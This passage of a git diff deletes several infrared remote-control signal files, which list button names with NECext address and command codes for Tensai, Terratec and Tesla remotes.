b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir deleted file mode 100644 index b1bd731bf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 03 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 08 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 09 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 1E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir deleted file mode 100644 index 0f0015da4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 0A 00 00 00 -# -name: S -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 0C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 0D 00 00 00 -# -name: UNHAPPY -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 0E 00 00 00 -# -name: HAPPY -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 0F 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 10 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 11 00 00 00 -# -name: I> -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 12 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 13 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 14 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 15 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 16 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 17 00 00 00 -# -name: SENDER -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 18 00 00 00 -# -name: NETWORK -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 19 00 00 00 -# -name: FAVORITES -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 1A 00 00 00 -# -name: >I -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 1B 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 1C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 1D 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 1E 00 00 00 -# -name: I< -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 1F 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 04 F3 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir deleted file mode 100644 index 54984f7c6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0A 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0C 00 00 00 -# -name: reload -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 11 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 14 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 15 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 16 00 00 00 -# -name: red_time -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 17 00 00 00 -# -name: blue_win -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 18 00 00 00 -# -name: yellow_music -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 19 00 00 00 -# -name: blue_plan -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 48 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 4C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 54 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 58 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir deleted file mode 100644 index 293b858d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: app -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: MOUSE_WEST -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: MOUSE_EAST -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 20 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 22 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir deleted file mode 100644 index e08cba4a2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0D 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 17 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 18 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 19 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 40 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 42 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 43 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 44 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 45 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 46 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 47 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 48 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 49 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4A 00 00 00 -# -name: pic -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4D 00 00 00 -# -name: fr -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4F 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 54 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 58 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir deleted file mode 100644 index 465c5466e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0A 00 00 00 -# -name: Av -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 0F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 11 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 14 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 15 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 17 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 17 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 18 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 19 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 1F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 48 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 4C 00 00 00 -# -name: Fback -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 54 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 58 00 00 00 -# -name: Ffor -type: parsed -protocol: NECext -address: 04 EB 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir deleted file mode 100644 index 2449447fb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: Speed- -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: Speed_Normal -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: Speed+ -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 70 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir deleted file mode 100644 index 3f2ef2758..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: +/-5dB -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir deleted file mode 100644 index eb4806323..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: no_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: no_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: no_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: no_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: no_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: no_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: no_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: no_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: no_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: no_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 01 00 00 00 